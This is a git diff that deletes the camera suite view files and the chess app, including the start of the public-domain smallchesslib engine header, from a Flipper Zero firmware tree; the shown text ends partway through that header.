a/applications/external/camera_suite/views/camera_suite_view_camera.h +++ /dev/null @@ -1,67 +0,0 @@ -#include "../helpers/camera_suite_custom_event.h" -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include - -#define UART_CH \ - (XTREME_SETTINGS()->uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : \ - FuriHalUartIdLPUART1) - -#pragma once - -#define FRAME_WIDTH 128 -#define FRAME_HEIGHT 64 -#define FRAME_BIT_DEPTH 1 -#define FRAME_BUFFER_LENGTH 1024 -#define ROW_BUFFER_LENGTH 16 -#define RING_BUFFER_LENGTH 19 -#define LAST_ROW_INDEX 1008 - -extern const Icon I_DolphinCommon_56x48; - -typedef struct UartDumpModel UartDumpModel; - -struct UartDumpModel { - bool initialized; - int rotation_angle; - uint8_t pixels[FRAME_BUFFER_LENGTH]; - uint8_t ringbuffer_index; - uint8_t row_ringbuffer[RING_BUFFER_LENGTH]; -}; - -typedef struct CameraSuiteViewCamera CameraSuiteViewCamera; - -typedef void (*CameraSuiteViewCameraCallback)(CameraSuiteCustomEvent event, void* context); - -void camera_suite_view_camera_set_callback( - CameraSuiteViewCamera* camera_suite_view_camera, - CameraSuiteViewCameraCallback callback, - void* context); - -CameraSuiteViewCamera* camera_suite_view_camera_alloc(); - -void camera_suite_view_camera_free(CameraSuiteViewCamera* camera_suite_static); - -View* camera_suite_view_camera_get_view(CameraSuiteViewCamera* camera_suite_static); - -typedef enum { - // Reserved for StreamBuffer internal event - WorkerEventReserved = (1 << 0), - WorkerEventStop = (1 << 1), - WorkerEventRx = (1 << 2), -} WorkerEventFlags; - -#define WORKER_EVENTS_MASK (WorkerEventStop | WorkerEventRx) diff --git a/applications/external/camera_suite/views/camera_suite_view_guide.c b/applications/external/camera_suite/views/camera_suite_view_guide.c deleted file mode 100644 index 479f8d4d1..000000000 --- a/applications/external/camera_suite/views/camera_suite_view_guide.c +++ /dev/null @@ -1,120 +0,0 @@ -#include "../camera_suite.h" -#include -#include -#include -#include -#include - -struct CameraSuiteViewGuide { - View* view; - CameraSuiteViewGuideCallback callback; - void* context; -}; - -typedef struct { - int some_value; -} CameraSuiteViewGuideModel; - -void camera_suite_view_guide_set_callback( - CameraSuiteViewGuide* instance, - CameraSuiteViewGuideCallback callback, - void* context) { - furi_assert(instance); - furi_assert(callback); - instance->callback = callback; - instance->context = context; -} - -void camera_suite_view_guide_draw(Canvas* canvas, CameraSuiteViewGuideModel* model) { - UNUSED(model); - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 0, 0, AlignLeft, AlignTop, "Guide"); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 0, 12, AlignLeft, AlignTop, "Left = Toggle Invert"); - canvas_draw_str_aligned(canvas, 0, 22, AlignLeft, AlignTop, "Right = Toggle Dithering"); - canvas_draw_str_aligned(canvas, 0, 32, AlignLeft, AlignTop, "Up = Contrast Up"); - canvas_draw_str_aligned(canvas, 0, 42, AlignLeft, AlignTop, "Down = Contrast Down"); - // TODO: Possibly update to take picture instead. - canvas_draw_str_aligned(canvas, 0, 52, AlignLeft, AlignTop, "Center = Toggle Dither Type"); -} - -static void camera_suite_view_guide_model_init(CameraSuiteViewGuideModel* const model) { - model->some_value = 1; -} - -bool camera_suite_view_guide_input(InputEvent* event, void* context) { - furi_assert(context); - CameraSuiteViewGuide* instance = context; - if(event->type == InputTypeRelease) { - switch(event->key) { - case InputKeyBack: - with_view_model( - instance->view, - CameraSuiteViewGuideModel * model, - { - UNUSED(model); - instance->callback(CameraSuiteCustomEventSceneGuideBack, instance->context); - }, - true); - break; - case InputKeyLeft: - case InputKeyRight: - case InputKeyUp: - case InputKeyDown: - case InputKeyOk: - case InputKeyMAX: - // Do nothing. - break; - } - } - return true; -} - -void camera_suite_view_guide_exit(void* context) { - furi_assert(context); -} - -void camera_suite_view_guide_enter(void* context) { - furi_assert(context); - CameraSuiteViewGuide* instance = (CameraSuiteViewGuide*)context; - with_view_model( - instance->view, - CameraSuiteViewGuideModel * model, - { camera_suite_view_guide_model_init(model); }, - true); -} - -CameraSuiteViewGuide* camera_suite_view_guide_alloc() { - CameraSuiteViewGuide* instance = malloc(sizeof(CameraSuiteViewGuide)); - instance->view = view_alloc(); - view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(CameraSuiteViewGuideModel)); - view_set_context(instance->view, instance); // furi_assert crashes in events without this - view_set_draw_callback(instance->view, (ViewDrawCallback)camera_suite_view_guide_draw); - view_set_input_callback(instance->view, camera_suite_view_guide_input); - view_set_enter_callback(instance->view, camera_suite_view_guide_enter); - view_set_exit_callback(instance->view, camera_suite_view_guide_exit); - - with_view_model( - instance->view, - CameraSuiteViewGuideModel * model, - { camera_suite_view_guide_model_init(model); }, - true); - - return instance; -} - -void camera_suite_view_guide_free(CameraSuiteViewGuide* instance) { - furi_assert(instance); - - with_view_model( - instance->view, CameraSuiteViewGuideModel * model, { UNUSED(model); }, true); - view_free(instance->view); - free(instance); -} - -View* camera_suite_view_guide_get_view(CameraSuiteViewGuide* instance) { - furi_assert(instance); - return instance->view; -} diff --git a/applications/external/camera_suite/views/camera_suite_view_guide.h b/applications/external/camera_suite/views/camera_suite_view_guide.h deleted file mode 100644 index cd78d4b01..000000000 --- a/applications/external/camera_suite/views/camera_suite_view_guide.h +++ /dev/null @@ -1,19 +0,0 @@ -#pragma once - -#include -#include "../helpers/camera_suite_custom_event.h" - -typedef struct CameraSuiteViewGuide CameraSuiteViewGuide; - -typedef void (*CameraSuiteViewGuideCallback)(CameraSuiteCustomEvent event, void* context); - -void camera_suite_view_guide_set_callback( - CameraSuiteViewGuide* camera_suite_view_guide, - CameraSuiteViewGuideCallback callback, - void* context); - -View* camera_suite_view_guide_get_view(CameraSuiteViewGuide* camera_suite_static); - -CameraSuiteViewGuide* camera_suite_view_guide_alloc(); - -void camera_suite_view_guide_free(CameraSuiteViewGuide* camera_suite_static); \ No newline at end of file diff --git a/applications/external/camera_suite/views/camera_suite_view_start.c b/applications/external/camera_suite/views/camera_suite_view_start.c deleted file mode 100644 index a84ee50c2..000000000 --- a/applications/external/camera_suite/views/camera_suite_view_start.c +++ /dev/null @@ -1,126 +0,0 @@ -#include "../camera_suite.h" -#include -#include -#include -#include - -struct CameraSuiteViewStart { - View* view; - CameraSuiteViewStartCallback callback; - void* context; -}; - -typedef struct { - int some_value; -} CameraSuiteViewStartModel; - -void camera_suite_view_start_set_callback( - CameraSuiteViewStart* instance, - CameraSuiteViewStartCallback callback, - void* context) { - furi_assert(instance); - furi_assert(callback); - instance->callback = callback; - instance->context = context; -} - -void camera_suite_view_start_draw(Canvas* canvas, CameraSuiteViewStartModel* model) { - UNUSED(model); - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 64, 10, AlignCenter, AlignTop, "Camera Suite"); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 64, 22, AlignCenter, AlignTop, "Flipper Zero"); - canvas_draw_str_aligned(canvas, 64, 32, AlignCenter, AlignTop, "ESP32 CAM"); - elements_button_center(canvas, "Start"); -} - -static void camera_suite_view_start_model_init(CameraSuiteViewStartModel* const model) { - model->some_value = 1; -} - -bool camera_suite_view_start_input(InputEvent* event, void* context) { - furi_assert(context); - CameraSuiteViewStart* instance = context; - if(event->type == InputTypeRelease) { - switch(event->key) { - case InputKeyBack: - // Exit application. - with_view_model( - instance->view, - CameraSuiteViewStartModel * model, - { - UNUSED(model); - instance->callback(CameraSuiteCustomEventStartBack, instance->context); - }, - true); - break; - case InputKeyOk: - // Start the application. - with_view_model( - instance->view, - CameraSuiteViewStartModel * model, - { - UNUSED(model); - instance->callback(CameraSuiteCustomEventStartOk, instance->context); - }, - true); - break; - case InputKeyMAX: - case InputKeyLeft: - case InputKeyRight: - case InputKeyUp: - case InputKeyDown: - // Do nothing. - break; - } - } - return true; -} - -void camera_suite_view_start_exit(void* context) { - furi_assert(context); -} - -void camera_suite_view_start_enter(void* context) { - furi_assert(context); - CameraSuiteViewStart* instance = (CameraSuiteViewStart*)context; - with_view_model( - instance->view, - CameraSuiteViewStartModel * model, - { camera_suite_view_start_model_init(model); }, - true); -} - -CameraSuiteViewStart* camera_suite_view_start_alloc() { - CameraSuiteViewStart* instance = malloc(sizeof(CameraSuiteViewStart)); - instance->view = view_alloc(); - view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(CameraSuiteViewStartModel)); - // furi_assert crashes in events without this - view_set_context(instance->view, instance); - view_set_draw_callback(instance->view, (ViewDrawCallback)camera_suite_view_start_draw); - view_set_input_callback(instance->view, camera_suite_view_start_input); - - with_view_model( - instance->view, - CameraSuiteViewStartModel * model, - { camera_suite_view_start_model_init(model); }, - true); - - return instance; -} - -void camera_suite_view_start_free(CameraSuiteViewStart* instance) { - furi_assert(instance); - - with_view_model( - instance->view, CameraSuiteViewStartModel * model, { UNUSED(model); }, true); - view_free(instance->view); - free(instance); -} - -View* camera_suite_view_start_get_view(CameraSuiteViewStart* instance) { - furi_assert(instance); - return instance->view; -} diff --git a/applications/external/camera_suite/views/camera_suite_view_start.h b/applications/external/camera_suite/views/camera_suite_view_start.h deleted file mode 100644 index e991cce92..000000000 --- a/applications/external/camera_suite/views/camera_suite_view_start.h +++ /dev/null @@ -1,19 +0,0 @@ -#pragma once - -#include -#include "../helpers/camera_suite_custom_event.h" - -typedef struct CameraSuiteViewStart CameraSuiteViewStart; - -typedef void (*CameraSuiteViewStartCallback)(CameraSuiteCustomEvent event, void* context); - -void camera_suite_view_start_set_callback( - CameraSuiteViewStart* camera_suite_view_start, - CameraSuiteViewStartCallback callback, - void* context); - -View* camera_suite_view_start_get_view(CameraSuiteViewStart* camera_suite_static); - -CameraSuiteViewStart* camera_suite_view_start_alloc(); - -void camera_suite_view_start_free(CameraSuiteViewStart* camera_suite_static); \ No newline at end of file diff --git a/applications/external/chess/LICENSE b/applications/external/chess/LICENSE deleted file mode 100644 index 61361ecc7..000000000 --- a/applications/external/chess/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -MIT License - -Copyright (c) 2023 Struan Clark - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/applications/external/chess/application.fam b/applications/external/chess/application.fam deleted file mode 100644 index 6f3d3321c..000000000 --- a/applications/external/chess/application.fam +++ /dev/null @@ -1,18 +0,0 @@ -App( - appid="chess", - name="Chess", - apptype=FlipperAppType.EXTERNAL, - entry_point="flipchess_app", - requires=[ - "gui", - ], - stack_size=4 * 1024, - fap_icon="flipchess_10px.png", - fap_icon_assets="icons", - fap_icon_assets_symbol="flipchess", - fap_category="Games", - fap_author="Struan Clark (xtruan)", - fap_weburl="https://github.com/xtruan/flipper-chess", - fap_version=(1, 9), - fap_description="Chess for Flipper", -) diff --git a/applications/external/chess/chess/smallchesslib.h b/applications/external/chess/chess/smallchesslib.h deleted file mode 100644 index 61b0aecfd..000000000 --- a/applications/external/chess/chess/smallchesslib.h +++ /dev/null @@ -1,3492 +0,0 @@ -#ifndef SMALLCHESSLIB_H -#define SMALLCHESSLIB_H - -/** - @file smallchesslib.h - - Small and simple single header C99 public domain chess library and engine. - - author: Miloslav Ciz (drummyfish) - license: CC0 1.0 (public domain) - found at https://creativecommons.org/publicdomain/zero/1.0/ - + additional waiver of all IP - version: 0.8d - - Default notation format for this library is a coordinate one, i.e. - - squarefrom squareto [promotedpiece] - - e.g.: e2e4 or A2A1q - - This work's goal is to never be encumbered by any exclusive intellectual - property rights. The work is therefore provided under CC0 1.0 + additional - WAIVER OF ALL INTELLECTUAL PROPERTY RIGHTS that waives the rest of - intellectual property rights not already waived by CC0 1.0. The WAIVER OF ALL - INTELLECTUAL PROPERTY RGHTS is as follows: - - Each contributor to this work agrees that they waive any exclusive rights, - including but not limited to copyright, patents, trademark, trade dress, - industrial design, plant varieties and trade secrets, to any and all ideas, - concepts, processes, discoveries, improvements and inventions conceived, - discovered, made, designed, researched or developed by the contributor either - solely or jointly with others, which relate to this work or result from this - work. Should any waiver of such right be judged legally invalid or - ineffective under applicable law, the contributor hereby grants to each - affected person a royalty-free, non transferable, non sublicensable, non - exclusive, irrevocable and unconditional license to this right. -*/ - -#include - -#ifndef SCL_DEBUG_AI -/** AI will print out a Newick-like tree of searched moves. */ -#define SCL_DEBUG_AI 0 -#endif - -/** - Maximum number of moves a chess piece can have (a queen in the middle of the - board). -*/ -#define SCL_CHESS_PIECE_MAX_MOVES 25 -#define SCL_BOARD_SQUARES 64 - -typedef uint8_t (*SCL_RandomFunction)(void); - -#if SCL_COUNT_EVALUATED_POSITIONS -uint32_t SCL_positionsEvaluated = 0; /**< If enabled by - SCL_COUNT_EVALUATED_POSITIONS, this - will increment with every - dynamically evaluated position (e.g. - when AI computes its move). */ -#endif - -#ifndef SCL_CALL_WDT_RESET -#define SCL_CALL_WDT_RESET \ - 0 /**< Option that should be enabled on some - Arduinos. If 1, call to watchdog timer - reset will be performed during dynamic - evaluation (without it if AI takes long the - program will reset). */ -#endif - -/** - Returns a pseudorandom byte. This function has a period 256 and returns each - possible byte value exactly once in the period. -*/ -uint8_t SCL_randomSimple(void); -void SCL_randomSimpleSeed(uint8_t seed); - -/** - Like SCL_randomSimple, but internally uses a 16 bit value, so the period is - 65536. -*/ -uint8_t SCL_randomBetter(void); -void SCL_randomBetterSeed(uint16_t seed); - -#ifndef SCL_EVALUATION_FUNCTION -/** - If defined, AI will always use the static evaluation function with this - name. This helps avoid pointers to functions and can be faster but the - function can't be changed at runtime. - */ -#define SCL_EVALUATION_FUNCTION -#undef SCL_EVALUATION_FUNCTION -#endif - -#ifndef SCL_960_CASTLING -/** - If set, chess 960 (Fisher random) castling will be considered by the library - rather than normal castling. 960 castling is slightly different (e.g. - requires the inital rook positions to be stored in board state). The - castling move is performed as "capturing own rook". - */ -#define SCL_960_CASTLING 0 -#endif - -#ifndef SCL_ALPHA_BETA -/** - Turns alpha-beta pruning (AI optimization) on or off. This can gain - performance and should normally be turned on. AI behavior should not - change at all. - */ -#define SCL_ALPHA_BETA 1 -#endif - -/** - A set of game squares as a bit array, each bit representing one game square. - Useful for representing e.g. possible moves. To easily iterate over the set - use provided macros (SCL_SQUARE_SET_ITERATE, ...). -*/ -typedef uint8_t SCL_SquareSet[8]; - -#define SCL_SQUARE_SET_EMPTY \ - { 0, 0, 0, 0, 0, 0, 0, 0 } - -void SCL_squareSetClear(SCL_SquareSet squareSet); -void SCL_squareSetAdd(SCL_SquareSet squareSet, uint8_t square); -uint8_t SCL_squareSetContains(const SCL_SquareSet squareSet, uint8_t square); -uint8_t SCL_squareSetSize(const SCL_SquareSet squareSet); -uint8_t SCL_squareSetEmpty(const SCL_SquareSet squareSet); - -/** - Returns a random square from a square set. -*/ -uint8_t SCL_squareSetGetRandom(const SCL_SquareSet squareSet, SCL_RandomFunction randFunc); - -#define SCL_SQUARE_SET_ITERATE_BEGIN(squareSet) \ - { \ - uint8_t iteratedSquare = 0; \ - uint8_t iterationEnd = 0; \ - for(int8_t _i = 0; _i < 8 && !iterationEnd; ++_i) { \ - uint8_t _row = squareSet[_i]; \ - if(_row == 0) { \ - iteratedSquare += 8; \ - continue; \ - } \ - \ - for(uint8_t _j = 0; _j < 8 && !iterationEnd; ++_j) { \ - if(_row & 0x01) { -/* - Between SCL_SQUARE_SET_ITERATE_BEGIN and _END iteratedSquare variable - represents the next square contained in the set. To break out of the - iteration set iterationEnd to 1. -*/ - -#define SCL_SQUARE_SET_ITERATE_END \ - } \ - _row >>= 1; \ - iteratedSquare++; \ - } \ - } /*for*/ \ - } - -#define SCL_SQUARE_SET_ITERATE(squareSet, command) \ - SCL_SQUARE_SET_ITERATE_BEGIN(squareSet){command} SCL_SQUARE_SET_ITERATE_END - -#define SCL_BOARD_STATE_SIZE 69 - -/** - Represents chess board state as a string in this format: - - First 64 characters represent the chess board (A1, B1, ... H8), each field - can be either a piece (PRNBKQprnbkq) or empty ('.'). I.e. the state looks - like this: - - 0 (A1) RNBQKBNR - PPPPPPPP - ........ - ........ - ........ - ........ - pppppppp - rnbqkbnr 63 (H8) - - - After this more bytes follow to represent global state, these are: - - 64: bits holding en-passant and castling related information: - - bits 0-3 (lsb): Column of the pawn that can, in current turn, be - taken by en-passant (0xF means no pawn can be taken this way). - - bit 4: Whether white is not prevented from short castling by previous - king or rook movement. - - bit 5: Same as 4, but for long castling. - - bit 6: Same as 4, but for black. - - bit 7: Same as 4, but for black and long castling. - - 65: Number saying the number of ply (half-moves) that have already been - played, also determining whose turn it currently is. - - 66: Move counter used in the 50 move rule, says the number of ply since - the last pawn move or capture. - - 67: Extra byte, left for storing additional info in variants. For normal - chess this byte should always be 0. - - 68: The last byte is always 0 to properly terminate the string in case - someone tries to print it. - - The state is designed so as to be simple and also print-friendly, i.e. you - can simply print it with line break after 8 characters to get a human - readable representation of the board. - - NOTE: there is a much more compact representation which however trades some - access speed which would affect the AI performance and isn't print friendly, - so we don't use it. In it each square takes 4 bits, using 15 out of 16 - possible values (empty square and W and B pieces including 2 types of pawns, - one "en-passant takeable"). Then only one extra byte needed is for castling - info (4 bits) and ply count (4 bits). -*/ -typedef char SCL_Board[SCL_BOARD_STATE_SIZE]; - -#define SCL_BOARD_ENPASSANT_CASTLE_BYTE 64 -#define SCL_BOARD_PLY_BYTE 65 -#define SCL_BOARD_MOVE_COUNT_BYTE 66 -#define SCL_BOARD_EXTRA_BYTE 67 - -#if SCL_960_CASTLING -#define _SCL_EXTRA_BYTE_VALUE (0 | (7 << 3)) // rooks on classic positions -#else -#define _SCL_EXTRA_BYTE_VALUE 0 -#endif - -#define SCL_BOARD_START_STATE \ - { \ - 82, 78, 66, 81, 75, 66, 78, 82, 80, 80, 80, 80, 80, 80, 80, 80, 46, 46, 46, 46, 46, 46, \ - 46, 46, 46, 46, 46, 46, 46, 46, 46, 46, 46, 46, 46, 46, 46, 46, 46, 46, 46, 46, 46, \ - 46, 46, 46, 46, 46, 112, 112, 112, 112, 112, 112, 112, 112, 114, 110, 98, 113, 107, \ - 98, 110, 114, (char)0xff, 0, 0, _SCL_EXTRA_BYTE_VALUE, 0 \ - } - -#define SCL_FEN_START "rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1" - -#define SCL_FEN_HORDE "ppp2ppp/pppppppp/pppppppp/pppppppp/3pp3/8/PPPPPPPP/RNBQKBNR w KQ - 0 1" - -#define SCL_FEN_UPSIDE_DOWN "RNBKQBNR/PPPPPPPP/8/8/8/8/pppppppp/rnbkqbnr w - - 0 1" - -#define SCL_FEN_PEASANT_REVOLT "1nn1k1n1/4p3/8/8/8/8/PPPPPPPP/4K3 w - - 0 1" - -#define SCL_FEN_ENDGAME "4k3/pppppppp/8/8/8/8/PPPPPPPP/4K3 w - - 0 1" - -#define SCL_FEN_KNIGHTS "N6n/1N4n1/2N2n2/3Nn3/k2nN2K/2n2N2/1n4N1/n6N w - - 0 1" - -/** - Holds an info required to undo a single move. -*/ -typedef struct { - uint8_t squareFrom; ///< start square - uint8_t squareTo; ///< target square - char enPassantCastle; ///< previous en passant/castle byte - char moveCount; ///< previous values of the move counter byte - uint8_t other; /**< lowest 7 bits: previous value of target square, - highest bit: if 1 then the move was promotion or - en passant */ -} SCL_MoveUndo; - -#define SCL_GAME_STATE_PLAYING 0x00 -#define SCL_GAME_STATE_WHITE_WIN 0x01 -#define SCL_GAME_STATE_BLACK_WIN 0x02 -#define SCL_GAME_STATE_DRAW 0x10 ///< further unspecified draw -#define SCL_GAME_STATE_DRAW_STALEMATE 0x11 ///< draw by stalemate -#define SCL_GAME_STATE_DRAW_REPETITION 0x12 ///< draw by repetition -#define SCL_GAME_STATE_DRAW_50 0x13 ///< draw by 50 move rule -#define SCL_GAME_STATE_DRAW_DEAD 0x14 ///< draw by dead position -#define SCL_GAME_STATE_END 0xff ///< end without known result - -/** - Converts square in common notation (e.g. 'c' 8) to square number. Only accepts - lowercase column. -*/ -#define SCL_SQUARE(colChar, rowInt) (((rowInt)-1) * 8 + ((colChar) - 'a')) -#define SCL_S(c, r) SCL_SQUARE(c, r) - -void SCL_boardInit(SCL_Board board); -void SCL_boardCopy(const SCL_Board boardFrom, SCL_Board boardTo); - -/** - Initializes given chess 960 (Fisher random) position. If SCL_960_CASTLING - is not set, castling will be disabled by this function. -*/ -void SCL_boardInit960(SCL_Board board, uint16_t positionNumber); - -void SCL_boardDisableCastling(SCL_Board board); - -uint32_t SCL_boardHash32(const SCL_Board board); - -#define SCL_PHASE_OPENING 0 -#define SCL_PHASE_MIDGAME 1 -#define SCL_PHASE_ENDGAME 2 - -/** - Estimates the game phase: opening, midgame or endgame. -*/ -uint8_t SCL_boardEstimatePhase(SCL_Board board); - -/** - Sets the board position. The input string should be 64 characters long zero - terminated C string representing the board as squares A1, A2, ..., H8 with - each char being either a piece (RKBKQPrkbkqp) or an empty square ('.'). -*/ -void SCL_boardSetPosition( - SCL_Board board, - const char* pieces, - uint8_t castlingEnPassant, - uint8_t moveCount, - uint8_t ply); - -uint8_t SCL_boardsDiffer(SCL_Board b1, SCL_Board b2); - -/** - Gets a random move on given board for the player whose move it is. -*/ -void SCL_boardRandomMove( - SCL_Board board, - SCL_RandomFunction randFunc, - uint8_t* squareFrom, - uint8_t* squareTo, - char* resultProm); - -#define SCL_FEN_MAX_LENGTH 90 - -/** - Converts a position to FEN (Forsyth–Edwards Notation) string. The string has - to have at least SCL_FEN_MAX_LENGTH bytes allocated to guarantee the - function won't write to unallocated memory. The string will be terminated by - 0 (this is included in SCL_FEN_MAX_LENGTH). The number of bytes written - (including the terminating 0) is returned. -*/ -uint8_t SCL_boardToFEN(SCL_Board board, char* string); - -/** - Loads a board from FEN (Forsyth–Edwards Notation) string. Returns 1 on - success, 0 otherwise. XFEN isn't supported fully but a start position in - chess960 can be loaded with this function. -*/ -uint8_t SCL_boardFromFEN(SCL_Board board, const char* string); - -/** - Returns an approximate/heuristic board rating as a number, 0 meaning equal - chances for both players, positive favoring white, negative favoring black. -*/ -typedef int16_t (*SCL_StaticEvaluationFunction)(SCL_Board); - -/* - NOTE: int8_t as a return value was tried for evaluation function, which would - be simpler, but it fails to capture important non-material position - differences counted in fractions of pawn values, hence we have to use int16_t. -*/ - -/** - Basic static evaluation function. WARNING: this function supposes a standard - chess game, for non-standard positions it may either not work well or even - crash the program. You should use a different function for non-standard games. -*/ -int16_t SCL_boardEvaluateStatic(SCL_Board board); - -/** - Dynamic evaluation function (search), i.e. unlike SCL_boardEvaluateStatic, - this one performs a recursive search for deeper positions to get a more - accurate score. Of course, this is much slower and hugely dependent on - baseDepth (you mostly want to keep this under 5). -*/ -int16_t SCL_boardEvaluateDynamic( - SCL_Board board, - uint8_t baseDepth, - uint8_t extensionExtraDepth, - SCL_StaticEvaluationFunction evalFunction); - -#define SCL_EVALUATION_MAX_SCORE 32600 // don't increase this, we need a margin - -/** - Checks if the board position is dead, i.e. mate is impossible (e.g. due to - insufficient material), which by the rules results in a draw. WARNING: This - function may fail to detect some dead positions as this is a non-trivial task. -*/ -uint8_t SCL_boardDead(SCL_Board board); - -/** - Tests whether given player is in check. -*/ -uint8_t SCL_boardCheck(SCL_Board board, uint8_t white); - -/** - Checks whether given move resets the move counter (used in the 50 move rule). -*/ -uint8_t SCL_boardMoveResetsCount(SCL_Board board, uint8_t squareFrom, uint8_t squareTo); - -uint8_t SCL_boardMate(SCL_Board board); - -/** - Performs a move on a board WITHOUT checking if the move is legal. Returns an - info with which the move can be undone. -*/ -SCL_MoveUndo - SCL_boardMakeMove(SCL_Board board, uint8_t squareFrom, uint8_t squareTo, char promotePiece); - -void SCL_boardUndoMove(SCL_Board board, SCL_MoveUndo moveUndo); - -/** - Checks if the game is over, i.e. the current player to move has no legal - moves, the game is in dead position etc. -*/ -uint8_t SCL_boardGameOver(SCL_Board board); - -/** - Checks if given move is legal. -*/ -uint8_t SCL_boardMoveIsLegal(SCL_Board board, uint8_t squareFrom, uint8_t squareTo); - -/** - Checks if the player to move has at least one legal move. -*/ -uint8_t SCL_boardMovePossible(SCL_Board board); - -#define SCL_POSITION_NORMAL 0x00 -#define SCL_POSITION_CHECK 0x01 -#define SCL_POSITION_MATE 0x02 -#define SCL_POSITION_STALEMATE 0x03 -#define SCL_POSITION_DEAD 0x04 - -uint8_t SCL_boardGetPosition(SCL_Board board); - -/** - Returns 1 if the square is attacked by player of given color. This is used to - examine checks, so for performance reasons the functions only checks whether - or not the square is attacked (not the number of attackers). -*/ -uint8_t SCL_boardSquareAttacked(SCL_Board board, uint8_t square, uint8_t byWhite); - -/** - Gets pseudo moves of a piece: all possible moves WITHOUT eliminating moves - that lead to own check. To get only legal moves use SCL_boardGetMoves. -*/ -void SCL_boardGetPseudoMoves( - SCL_Board board, - uint8_t pieceSquare, - uint8_t checkCastling, - SCL_SquareSet result); - -/** - Gets all legal moves of given piece. -*/ -void SCL_boardGetMoves(SCL_Board board, uint8_t pieceSquare, SCL_SquareSet result); - -static inline uint8_t SCL_boardWhitesTurn(SCL_Board board); - -static inline uint8_t SCL_pieceIsWhite(char piece); -static inline uint8_t SCL_squareIsWhite(uint8_t square); -char SCL_pieceToColor(uint8_t piece, uint8_t toWhite); - -/** - Converts square coordinates to square number. Each coordinate must be a number - <1,8>. Validity of the coordinates is NOT checked. -*/ -static inline uint8_t SCL_coordsToSquare(uint8_t row, uint8_t column); - -#ifndef SCL_VALUE_PAWN -#define SCL_VALUE_PAWN 256 -#endif - -#ifndef SCL_VALUE_KNIGHT -#define SCL_VALUE_KNIGHT 768 -#endif - -#ifndef SCL_VALUE_BISHOP -#define SCL_VALUE_BISHOP 800 -#endif - -#ifndef SCL_VALUE_ROOK -#define SCL_VALUE_ROOK 1280 -#endif - -#ifndef SCL_VALUE_QUEEN -#define SCL_VALUE_QUEEN 2304 -#endif - -#ifndef SCL_VALUE_KING -#define SCL_VALUE_KING 0 -#endif - -#define SCL_ENDGAME_MATERIAL_LIMIT \ - (2 * \ - (SCL_VALUE_PAWN * 4 + SCL_VALUE_QUEEN + SCL_VALUE_KING + SCL_VALUE_ROOK + SCL_VALUE_KNIGHT)) - -#define SCL_START_MATERIAL \ - (16 * SCL_VALUE_PAWN + 4 * SCL_VALUE_ROOK + 4 * SCL_VALUE_KNIGHT + 4 * SCL_VALUE_BISHOP + \ - 2 * SCL_VALUE_QUEEN + 2 * SCL_VALUE_KING) - -#ifndef SCL_RECORD_MAX_LENGTH -#define SCL_RECORD_MAX_LENGTH 256 -#endif - -#define SCL_RECORD_MAX_SIZE (SCL_RECORD_MAX_LENGTH * 2) - -/** - Records a single chess game. The format is following: - - Each record item consists of 2 bytes which record a single move (ply): - - abxxxxxx cdyyyyyy - - xxxxxx Start square of the move, counted as A0, A1, ... - yyyyyy End square of the move in the same format as the start square. - ab 00 means this move isn't the last move of the game, other possible - values are 01: white wins, 10: black wins, 11: draw or end for - other reasons. - cd In case of pawn promotion move this encodes the promoted piece as - 00: queen, 01: rook, 10: bishop, 11: knight (pawn isn't allowed by - chess rules). - - Every record should be ended by an ending move (ab != 00), empty record should - have one move where xxxxxx == yyyyyy == 0 and ab == 11. -*/ -typedef uint8_t SCL_Record[SCL_RECORD_MAX_SIZE]; - -#define SCL_RECORD_CONT 0x00 -#define SCL_RECORD_W_WIN 0x40 -#define SCL_RECORD_B_WIN 0x80 -#define SCL_RECORD_END 0xc0 - -#define SCL_RECORD_PROM_Q 0x00 -#define SCL_RECORD_PROM_R 0x40 -#define SCL_RECORD_PROM_B 0x80 -#define SCL_RECORD_PROM_N 0xc0 - -#define SCL_RECORD_ITEM(s0, s1, p, e) ((e) | (s0)), ((p) | (s1)) - -void SCL_recordInit(SCL_Record r); - -void SCL_recordCopy(SCL_Record recordFrom, SCL_Record recordTo); - -/** - Represents a complete game of chess (or a variant with different staring - position). This struct along with associated functions allows to easily - implement a chess game that allows undoing moves, detecting draws, recording - the moves etc. On platforms with extremely little RAM one can reduce - SCL_RECORD_MAX_LENGTH to reduce the size of this struct (which will however - possibly limit how many moves can be undone). -*/ -typedef struct { - SCL_Board board; - SCL_Record record; /**< Holds the game record. This record is here - firstly because games are usually recorded and - secondly this allows undoing moves up to the - beginning of the game. This infinite undoing will - only work as long as the record is able to hold - the whole game; if the record is full, undoing is - no longet possible. */ - uint16_t state; - uint16_t ply; ///< ply count (board ply counter is only 8 bit) - - uint32_t prevMoves[14]; ///< stores last moves, for repetition detection - - const char* startState; /**< Optional pointer to the starting board state. - If this is null, standard chess start position is - assumed. This is needed for undoing moves with - game record. */ -} SCL_Game; - -/** - Initializes a new chess game. The startState parameter is optional and allows - for setting up chess variants that differ by starting positions, setting this - to 0 will assume 